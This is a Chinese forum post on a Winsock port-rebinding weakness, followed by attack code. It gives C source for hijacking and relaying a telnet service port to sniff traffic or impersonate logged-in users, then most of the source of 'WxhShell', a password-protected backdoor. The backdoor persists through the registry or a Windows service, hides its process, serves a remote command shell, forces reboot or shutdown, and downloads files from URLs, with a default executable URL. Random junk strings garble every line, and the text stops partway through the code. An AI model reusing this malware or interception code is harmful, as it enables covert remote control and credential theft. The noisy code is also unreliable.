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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /;-KWu+5=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &tB|l_p_-p  
^1s!OT Is  
  saddr.sin_family = AF_INET; *;"N kCf  
8c(}*,O/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G~1#kg  
veFl0ILd  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l=8)_z;~D  
Fq!12/Nn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =2] .G Gg  
,],"tzKtE  
  这意味着什么?意味着可以进行如下的攻击: M>D 3NY[,  
 7?-eR-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JZ  Qkr  
F's($n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) SweaE Rl  
LTj;e[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fu?5gzT+b  
nF~</>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Rp4EB:*  
!%5ae82~3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X&o!xV -+  
7Fw`s@/%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u*B.<GmN  
.j:.?v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fzO4S^mTo8  
AFcsbw  
  #include CP_ ?DyWU  
  #include cTu7U=%  
  #include xT70Rp(2po  
  #include    %VOn;_Q*B  
  DWORD WINAPI ClientThread(LPVOID lpParam);   F]]np&UV.  
  int main() gYVk5d|8@4  
  { GE]fBg  
  WORD wVersionRequested; Bj09?#~[  
  DWORD ret; &sR=N60n  
  WSADATA wsaData; sfNXIEr^  
  BOOL val; AVVL]9b_2  
  SOCKADDR_IN saddr; A"x1MjuqLM  
  SOCKADDR_IN scaddr; gvvl3`S{  
  int err; zvf:*Na")  
  SOCKET s; lwYk`'  
  SOCKET sc; oEbgyT gB  
  int caddsize; |Ak>kQJ(1z  
  HANDLE mt; eZWN9#p2  
  DWORD tid;   g9|B-1[  
  wVersionRequested = MAKEWORD( 2, 2 ); [/hS5TG|7  
  err = WSAStartup( wVersionRequested, &wsaData ); (mz5vzyw  
  if ( err != 0 ) { Z)EmX=  
  printf("error!WSAStartup failed!\n"); 6kuN)  
  return -1; &o{I9MD  
  } La48M'u  
  saddr.sin_family = AF_INET; pW7vY)hj  
   K&0op 4&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [R CUP.  
Gc>bli<-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ez=$]cln  
  saddr.sin_port = htons(23); [?x9NQ{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?z%@;&  
  { 9 P_`IsVK  
  printf("error!socket failed!\n"); hO(8v&ns3  
  return -1; lA {  
  } _/bFt6  
  val = TRUE; ]2(vO0~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _ vVw2HH  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) rGuhYYvK  
  { []:;8fY  
  printf("error!setsockopt failed!\n"); $T{,3;kt  
  return -1; 4[a?. .X  
  } ?(Q" y\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =MDir$1Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jT"P$0sJAd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `fh^[Q|4n0  
J2Y-D'*s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pA)!40kz  
  { 0cZyO$.  
  ret=GetLastError(); fiz2544  
  printf("error!bind failed!\n"); *F*c  
  return -1; 95B w;U3E  
  } #q`[(`Bx  
  listen(s,2); IGv_s+O-*  
  while(1) (Z5=GJM?$  
  { Jfa=#`    
  caddsize = sizeof(scaddr); i$;GEM}tv  
  //接受连接请求 Pc >$[kT0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?g| K"P<1  
  if(sc!=INVALID_SOCKET) '<~rV  
  { D}'g4Ag  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "6_#APoP  
  if(mt==NULL) ;~T)pG8IS  
  { q"ba~@<BEl  
  printf("Thread Creat Failed!\n"); q9o =,[  
  break; Onb*nm  
  } 5MV4N[;  
  } ^;+lsEW  
  CloseHandle(mt); (1JZuR<?c  
  } l=D E|:  
  closesocket(s); 75i M_e\  
  WSACleanup(); h Vz%{R"  
  return 0;  =<fH RX`  
  }   MV6 %~T  
  DWORD WINAPI ClientThread(LPVOID lpParam) qd{o64;|  
  { GjZ@f nF  
  SOCKET ss = (SOCKET)lpParam; S_LY>k?  
  SOCKET sc; uA=6 HpDB  
  unsigned char buf[4096]; hu~02v5  
  SOCKADDR_IN saddr; z"o;|T:  
  long num; u_.V]Rjc  
  DWORD val; /{YUM~  
  DWORD ret; #b\&Md|;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >C"cv^%c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2n+j.  
  saddr.sin_family = AF_INET; Gp9 >R~$  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1Uz'= a  
  saddr.sin_port = htons(23); vM~/|)^0sW  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?2[=llS4  
  { k/AcXU%O+  
  printf("error!socket failed!\n"); @iB**zR/  
  return -1; ,'5P[-  
  } %8/Gsu;  
  val = 100; q_>DX,A  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )<G>]IP<  
  { dgd&ymRm :  
  ret = GetLastError(); ;hF>iw  
  return -1; [?Y u3E\  
  } 3Zg=ZnF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DamLkkoA  
  {  ;Fcdjy  
  ret = GetLastError(); #W 1`vke3  
  return -1; ^q"p 8   
  } ^i&Qr+v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) COv#dOw  
  { ;w4rwL  
  printf("error!socket connect failed!\n"); ]@l~z0^|[_  
  closesocket(sc); 6v GcM3M  
  closesocket(ss); +;#hED; 8  
  return -1; g-mK(kY4p  
  } ]=9%fA  
  while(1) H;*:XLPF  
  { x)G/YUv76  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WP32t@  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vb: '%^v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +<:p`%  
  num = recv(ss,buf,4096,0); *[ Wh9 ,H  
  if(num>0) r!Eo8C  
  send(sc,buf,num,0); JC{}iG6r+  
  else if(num==0) ~FZLA}  
  break; )%;#~\A  
  num = recv(sc,buf,4096,0); 5 W(iU  
  if(num>0) tRbZ^5x\@  
  send(ss,buf,num,0); a&L8W4  
  else if(num==0) v{H23Cfh:  
  break; Uvf-h4^J]:  
  } Uo^s]H#:  
  closesocket(ss); a6WE,4T9  
  closesocket(sc); Iay7Fkv  
  return 0 ; ,-] JCcH  
  } "R*B~73  
`<HY$PAe  
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========================================================== NXeo&+F  
TM!R[-\  
下边附上一个代码,,WXhSHELL U{>!`RN  
m{%_5nW  
========================================================== 2:p2u1Q O  
=AgY8cF!sl  
#include "stdafx.h" ,)]ZD H  
rUlpo|B  
#include <stdio.h> 'U1r}.+b>  
#include <string.h> "j$}'uK<  
#include <windows.h> [FiXsYb.8  
#include <winsock2.h> q6j]j~JxB  
#include <winsvc.h> /unOZVr(  
#include <urlmon.h> lS?f?n^  
ip>dHj z  
#pragma comment (lib, "Ws2_32.lib") IZAbW  
#pragma comment (lib, "urlmon.lib") 5R"b1  
C dZ;ZR  
#define MAX_USER   100 // 最大客户端连接数 &~E=T3  
#define BUF_SOCK   200 // sock buffer i;|% hDNWA  
#define KEY_BUFF   255 // 输入 buffer ACyQsmqm:  
^D.B^BR  
#define REBOOT     0   // 重启 !+>yCy$~_  
#define SHUTDOWN   1   // 关机 -v jjcyTt  
JAB]kNvI  
#define DEF_PORT   5000 // 监听端口 +bRL.xY  
Fof_xv9  
#define REG_LEN     16   // 注册表键长度 w_U5w  
#define SVC_LEN     80   // NT服务名长度 tD4IwX  
6_XX[.%  
// 从dll定义API zLxWyPM0;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <mm}IdH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~Dy0HVE   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w-\fCp )  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nosEo? {  
m};_\Db`  
// wxhshell配置信息 -w@fd]g  
struct WSCFG { D ^ &!  
  int ws_port;         // 监听端口 `J-"S<c?_  
  char ws_passstr[REG_LEN]; // 口令 ' > \*  
  int ws_autoins;       // 安装标记, 1=yes 0=no p{-1%jQ}]  
  char ws_regname[REG_LEN]; // 注册表键名 b7>;UX  
  char ws_svcname[REG_LEN]; // 服务名 }kOhwT8sI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 klch!m=d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Fa/i./V2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jzPC9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CJu;X[6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jG.*tuf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o9~qJnB/O  
h M8G"b  
}; U-lN_?  
uq 6T|Zm  
// default Wxhshell configuration T.1z<l""  
struct WSCFG wscfg={DEF_PORT, 6=')*_~/  
    "xuhuanlingzhe", lA]u8+gXd  
    1, M1ayAXO  
    "Wxhshell", sdO;vp^:b  
    "Wxhshell", 6iC}%eU  
            "WxhShell Service", 2j"%}&  
    "Wrsky Windows CmdShell Service", r{<u\>6X>P  
    "Please Input Your Password: ", #%{\59/w  
  1, 3Q;^X(Ml*  
  "http://www.wrsky.com/wxhshell.exe", lO9>?y8.y  
  "Wxhshell.exe" Yd<~]aXM   
    }; -d[x 09  
S`6'~g  
// 消息定义模块 n `n3[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 72{kig9c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; NK4ven7/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?%LD1 <ya  
char *msg_ws_ext="\n\rExit."; J]~fv9~P  
char *msg_ws_end="\n\rQuit."; C$(t`G  
char *msg_ws_boot="\n\rReboot..."; 6*LU+U=`  
char *msg_ws_poff="\n\rShutdown..."; -B4v1{An  
char *msg_ws_down="\n\rSave to "; rmhCuY?f  
n!N;WL3k  
char *msg_ws_err="\n\rErr!"; A>4k4*aFm#  
char *msg_ws_ok="\n\rOK!"; l y%**iN  
+f7?L]wzic  
char ExeFile[MAX_PATH]; ivagS\Q  
int nUser = 0; zm~~mz A  
HANDLE handles[MAX_USER]; C>MoR3]  
int OsIsNt; 22*t%{(  
k|lxJ^V#  
SERVICE_STATUS       serviceStatus; BF_k~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JPpYT~4  
Y"lxh/l$}  
// 函数声明 UwM}!K7)G  
int Install(void); [7Kn$OfP  
int Uninstall(void); T.|0;Eb  
int DownloadFile(char *sURL, SOCKET wsh); 5Px.G*  
int Boot(int flag); IB?A]oN1{  
void HideProc(void); Xt7'clr  
int GetOsVer(void); '&9 a%  
int Wxhshell(SOCKET wsl); B{K'"uC  
void TalkWithClient(void *cs); PIrUls0}  
int CmdShell(SOCKET sock); [n}c}%  
int StartFromService(void); cPN7^*  
int StartWxhshell(LPSTR lpCmdLine); P! 3$RO  
CX:^]wY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OcH- `A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \LYQZ*F  
iwVra"y  
// 数据结构和表定义 7]^ }  
SERVICE_TABLE_ENTRY DispatchTable[] = 5\'%zZ,l  
{ 0F3>kp4u  
{wscfg.ws_svcname, NTServiceMain}, E:o:)h?$  
{NULL, NULL} N Hh  
}; oy`m:Xp  
<s2l*mc  
// 自我安装 Y5NbY02E  
int Install(void) M$?6 '  
{ YH[_0!JY^  
  char svExeFile[MAX_PATH]; 5]Ra?rF  
  HKEY key; UxvsSHi  
  strcpy(svExeFile,ExeFile); YBCjcD[G  
?% X9XH/!  
// 如果是win9x系统,修改注册表设为自启动 {x4[Bx1  
if(!OsIsNt) { B5cyX*!?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &Kv evPF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]dK]a:S  
  RegCloseKey(key); d-<y'GYw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Ry.Wth  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z+dR(9otH3  
  RegCloseKey(key); ~fF }  
  return 0; r:5Ve&~  
    }  ke#;1  
  } !bcbzg2d&  
} 5>@uEebkv]  
else { >YBpB,WND  
QO7:iSZJ  
// 如果是NT以上系统,安装为系统服务 tN{t-xUgk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !TOi]`vqc  
if (schSCManager!=0) NslA/"*  
{ <ut DZ#k  
  SC_HANDLE schService = CreateService Crhi+D  
  ( M96( Rg  
  schSCManager, =.X?LWKY  
  wscfg.ws_svcname, 05KoxFO?  
  wscfg.ws_svcdisp, !:<UgbiVv  
  SERVICE_ALL_ACCESS, 8T)zB6ng  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~8m>DSs)D  
  SERVICE_AUTO_START, CdDd+h8  
  SERVICE_ERROR_NORMAL, &&}5>kg>d  
  svExeFile, p},Fwbl  
  NULL, Uo}&-$B  
  NULL, w;EXjl;X O  
  NULL, i5KwYoN  
  NULL, V*zz- 2 _i  
  NULL v7(|K  
  ); G\+nWvV7  
  if (schService!=0) m_$I?F0  
  { H~|%vjH  
  CloseServiceHandle(schService); j 3MciQ`  
  CloseServiceHandle(schSCManager); %p2x^air  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bfJ`}xl(8  
  strcat(svExeFile,wscfg.ws_svcname); NceB'YG|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %W4aKb?BT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2-V)>98  
  RegCloseKey(key); ;hA7<loY  
  return 0; 7_40_kwJi  
    } f4k5R  
  } ;(Xe@OtW  
  CloseServiceHandle(schSCManager); "'!%};  
} Dw`m>'J0  
} e$EF% cKH  
@y(Wy}  
return 1; v"r9|m~'  
} 0R}Sw[M.  
>_`D3@Rz  
// 自我卸载 [DxefYyI  
int Uninstall(void) nheU~jb  
{ M> jBm .  
  HKEY key; %x6Ov\s2  
6 r.H8  
if(!OsIsNt) { gXu^"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AM[jL'r|  
  RegDeleteValue(key,wscfg.ws_regname); %R|"Afa=  
  RegCloseKey(key); Q*:h/Lhb&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vV.~76AD5  
  RegDeleteValue(key,wscfg.ws_regname); #<wpSs  
  RegCloseKey(key); |jk-@ Z*  
  return 0; &QTeGn  
  } c',:@2R  
} &'(a$ S>v  
} rMHQzQ0%  
else { ?7uK P}1|  
Aw4?y[{H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gr>o E#7  
if (schSCManager!=0) (]Ye[j^"7  
{ OwA~(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (9}eF)+O  
  if (schService!=0)  @yt 2_  
  { nU&NopD+*G  
  if(DeleteService(schService)!=0) { b6nZ55 h  
  CloseServiceHandle(schService); 2 {e dW+  
  CloseServiceHandle(schSCManager); y|6@-:B.  
  return 0; {OO*iZ.O  
  } OK-sT7But  
  CloseServiceHandle(schService); E69:bQ94u  
  } PZuq'^p  
  CloseServiceHandle(schSCManager); (/U)> %n  
} q9^Y?`  
} rX33s  
A mI>m  
return 1; \\S/ NA  
} fey*la Xq  
n @ &"+  
// 从指定url下载文件 *BLe3dok(  
int DownloadFile(char *sURL, SOCKET wsh) 3vdu;W=Sz  
{ I7dm \|#  
  HRESULT hr; zb;(?!Bd#  
char seps[]= "/"; Q(|PZn g  
char *token; o)%-l4S  
char *file; ,-(T"Ph<  
char myURL[MAX_PATH]; id;#{O$  
char myFILE[MAX_PATH]; b96t0w!cs  
7uPZuXHxcu  
strcpy(myURL,sURL); r$GPYyHK  
  token=strtok(myURL,seps); l'*^$qc  
  while(token!=NULL) U*3A M_w  
  { R:'Ou:Mh  
    file=token; )MWUS;O<  
  token=strtok(NULL,seps); A%Bgp?B  
  } z\fW )/  
-)1-~7 r  
GetCurrentDirectory(MAX_PATH,myFILE); +yf(Rs)!  
strcat(myFILE, "\\"); GilQtd3\  
strcat(myFILE, file); A~Z6jK  
  send(wsh,myFILE,strlen(myFILE),0); O^9CV*]!n  
send(wsh,"...",3,0); L*g. 6+2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Vp;dc  
  if(hr==S_OK) JEWL)  
return 0; T'ED$}N>~  
else  0xJ7M.  
return 1; /?KtXV>]  
;V_.[aX  
} B_{HkQ.PW  
}p~OCW!  
// 系统电源模块 6'xomRpYN  
int Boot(int flag) B7!<{i  
{ F9(._ow[  
  HANDLE hToken; GX4QaT%  
  TOKEN_PRIVILEGES tkp; Z_H?WGO  
@#RuSc  
  if(OsIsNt) { Rn`ld@=p[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 10wvfRhng  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q7X}MAW  
    tkp.PrivilegeCount = 1; r&}(9Cq&"y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U1ZIuDg'E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KH7VR^;mk  
if(flag==REBOOT) { j-7u>s-l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +I t#Z3  
  return 0; Qg(Z{V  
} (` 5FZgN  
else { 1/B]TT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'E4AV58.  
  return 0; Ntb:en!X  
} pb!V|#u"  
  } qgoJ4Z*  
  else { hd+]Ok7"  
if(flag==REBOOT) { l)4O .*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M!1U@6n!=)  
  return 0; z{9=1XY  
} +l`65!"  
else { 'Qa5n\HX$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eD%H XGe  
  return 0; 96d~~2p  
} 33Jd!orXU  
} UuU/c-.  
*?/tO, R?  
return 1; BZK2$0  
} .XXW|{  
7R}9oK_I  
// win9x进程隐藏模块 uG!:Z6%p  
void HideProc(void) /F.Wigv  
{ ,P{mk%=9  
xH-X|N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lVz9k  
  if ( hKernel != NULL ) vw2`:]Q+  
  { {_?rh,9q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S,)d(g3>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k1)%.pt%  
    FreeLibrary(hKernel); ? B@&#E!/f  
  } ~9\$5n)a  
eG5Y+iL-V  
return; Z(j{F<\jS  
} v2Bzx/F:  
dBSbu=^$)  
// 获取操作系统版本  v,=v  
int GetOsVer(void) Lxv6!?v|  
{ a5@z:i  
  OSVERSIONINFO winfo; >nzu],U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UiH!Dl}<  
  GetVersionEx(&winfo); M|q~6oM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #]CFA9 z  
  return 1; +Y}V3(w9X  
  else `ltN,?/  
  return 0; <Mx0\b!  
} 7FLXx?nLY  
)=J5\3O*x  
// 客户端句柄模块 ?+~cA^-3T  
int Wxhshell(SOCKET wsl) -&|: 0#@P  
{ {Z> M  
  SOCKET wsh; Y4E/?37j  
  struct sockaddr_in client; u7fK1 ^O  
  DWORD myID; "9IYB)Js  
g:7,~}_}^  
  while(nUser<MAX_USER) ).5RPAP  
{ %dMqpY7"  
  int nSize=sizeof(client); :Zt2'vcGpf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z0%\OhuCcf  
  if(wsh==INVALID_SOCKET) return 1; 1TS0X:TCn  
)?=YT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |l0Ea  
if(handles[nUser]==0) >(r{7Qg  
  closesocket(wsh); ! }f1`/   
else J-xS:Ha'l  
  nUser++; p5\]5bb  
  } 7y^%7U \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {2&m`D bm  
:~F:/5  
  return 0; 31WC=ur5  
} @%/]Q<<q  
dY7'OAUyVl  
// 关闭 socket P 1XK*GZ  
void CloseIt(SOCKET wsh) NTo!'p:s  
{ B9R(&<4  
closesocket(wsh); K+*Q@R D  
nUser--; *\}}Bv+9  
ExitThread(0); <TGn=>u  
} /E;y,o75  
n DS}^Ba  
// 客户端请求句柄 m: n` g1  
void TalkWithClient(void *cs) VhL{'w7f  
{ ({r*=wAP  
%`MQmXgM  
  SOCKET wsh=(SOCKET)cs; <"N_j]wD  
  char pwd[SVC_LEN]; {n#k,b&9B  
  char cmd[KEY_BUFF]; gr-9l0u  
char chr[1]; , DdB^Ig<r  
int i,j; fmqb` %  
+gd4\ZG  
  while (nUser < MAX_USER) { ^d}gpin  
Y3.$G1{#0w  
if(wscfg.ws_passstr) { PZxAH9 S?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z>sbr<doa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m>USD? i  
  //ZeroMemory(pwd,KEY_BUFF); j /=i Mq  
      i=0; !+>v[(OzM  
  while(i<SVC_LEN) { :NJ_n6E  
$mf u:tbP  
  // 设置超时 glDcUCF3  
  fd_set FdRead; W} WI; cI  
  struct timeval TimeOut; E_Z{6&r  
  FD_ZERO(&FdRead); X%z }VA  
  FD_SET(wsh,&FdRead); XL#[ %X9  
  TimeOut.tv_sec=8; `E+Jnu,jC  
  TimeOut.tv_usec=0; Lg8nj< TF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |,9JNm$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5T sUQc  
V5+SWXZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " \I4u{zC  
  pwd=chr[0]; n>@oBG)!  
  if(chr[0]==0xd || chr[0]==0xa) { :#dE:L;T  
  pwd=0; fXrXV~'8  
  break; *JggU  
  } ^N8)]F,  
  i++; {U&.D [{&  
    } +`3!I  
3?Y2L  
  // 如果是非法用户,关闭 socket 06jqQ-_`h  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jzU.Bu.  
} .<kqJ|SVi  
l7&$}x -  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u2 `b'R9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 |DHplI  
9UvXC)R1  
while(1) { ~]ZpA-*@Ut  
[@yV!#2  
  ZeroMemory(cmd,KEY_BUFF); 2^?:&1:  
 i2~  
      // 自动支持客户端 telnet标准   ^eW}XRI  
  j=0; JN7k2]{  
  while(j<KEY_BUFF) { 0uBl>A7qhn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {Zp\^/  
  cmd[j]=chr[0]; A*W) bZs.  
  if(chr[0]==0xa || chr[0]==0xd) { lJ@][;  
  cmd[j]=0; GR\5WypoJ  
  break; z=$jGL  
  } fu~ +8CE.  
  j++; sXNb}gJ  
    } SNY~9:;]f  
WxF:~{  
  // 下载文件 ayAo^q  
  if(strstr(cmd,"http://")) { >I=2!C1w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZJlEKib%2  
  if(DownloadFile(cmd,wsh)) z0/} !  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^e+a  
  else EI\9_}@,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .7n\d55a  
  } *Vho?P6y\Y  
  else { Wh&8pH:  
L/"0ws_  
    switch(cmd[0]) { LzYO$Ir:g  
  a')|1DnR  
  // 帮助 JgHM?AWg|  
  case '?': { x\QY@9  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Un6/e/6,  
    break; T~b>B`_  
  } t='# |');  
  // 安装 %Ts PyiYl  
  case 'i': { _D|^.)=U|  
    if(Install()) 0q&'(-{s1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hTwA%  
    else `SVmQSwO[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DS<  }@  
    break; !Kv@\4  
    }  \lSU  
  // 卸载 Kt(-@\)!  
  case 'r': { hS9;k9w  
    if(Uninstall()) +&["HoKg}&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D\e8,,H  
    else a<fUI%_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mq%<6/Y U  
    break; Ye.r%i &  
    } y9KB< yh/  
  // 显示 wxhshell 所在路径 LzCw+@-umw  
  case 'p': { *s;|T?~i  
    char svExeFile[MAX_PATH]; 5[Pr|AY  
    strcpy(svExeFile,"\n\r"); wM|" I^[  
      strcat(svExeFile,ExeFile); @9&P~mo/  
        send(wsh,svExeFile,strlen(svExeFile),0); j+HHQd7Y  
    break; %sRUh0AL  
    } [{X^c.8G)  
  // 重启 mRZ :ie  
  case 'b': { y1/o^d+@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #:d =)Qj0  
    if(Boot(REBOOT)) :g.46dp4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0VK-g}"x  
    else { mZUfn%QXb(  
    closesocket(wsh); Xj*vh m%i  
    ExitThread(0); B*gdgM*`  
    } CX m+)a-L  
    break; gI8Bx]  
    } +NFzSal  
  // 关机 f$'2}'.!$  
  case 'd': { !|<=ZF2  
